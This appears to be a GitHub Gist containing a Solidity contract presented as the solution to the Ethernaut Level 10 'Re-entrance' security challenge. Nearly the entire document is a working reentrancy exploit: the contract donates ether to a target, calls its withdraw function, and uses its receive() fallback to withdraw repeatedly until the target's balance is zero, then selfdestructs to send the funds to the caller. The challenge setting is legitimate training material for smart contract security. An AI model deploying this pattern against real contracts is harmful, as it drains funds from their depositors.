Last active
January 4, 2023 17:01
-
-
Save Chirag21/4cb2e1e459adbbdcc19b75b3d549f9fc to your computer and use it in GitHub Desktop.
Solution for Ethernaut Level 10 - Re-entrance. For Remix IDE
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.17; | |
interface IReentrance { | |
function donate(address) external payable; | |
function balanceOf(address) external view returns (uint256); | |
function withdraw(uint256) external; | |
} | |
contract ReentranceHack { | |
IReentrance private immutable reentrance; | |
constructor(address _reentrance) { | |
reentrance = IReentrance(_reentrance); | |
} | |
// Send 0.001 ether and withdraw immediately | |
// This will trigger the receive function when withdraw() is called on Reentrance contract | |
function hack() public payable { | |
reentrance.donate{value: msg.value}(address(this)); | |
// This will trigger the receive() the function | |
reentrance.withdraw(msg.value); | |
require(address(reentrance).balance == 0, "FAILED!!!"); | |
// Recover sent ether | |
selfdestruct(payable(msg.sender)); | |
} | |
receive() external payable { | |
uint256 balance = reentrance.balanceOf(address(this)); | |
// Try to withdraw the smallest amount possible, so that the transaction does not revert | |
uint256 withdrawableAmount = balance < 0.001 ether | |
? balance | |
: 0.001 ether; | |
// Stop withdrawing if the contract balance is 0, so that the transaction does not revert | |
if (withdrawableAmount > 0) { | |
reentrance.withdraw(withdrawableAmount); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment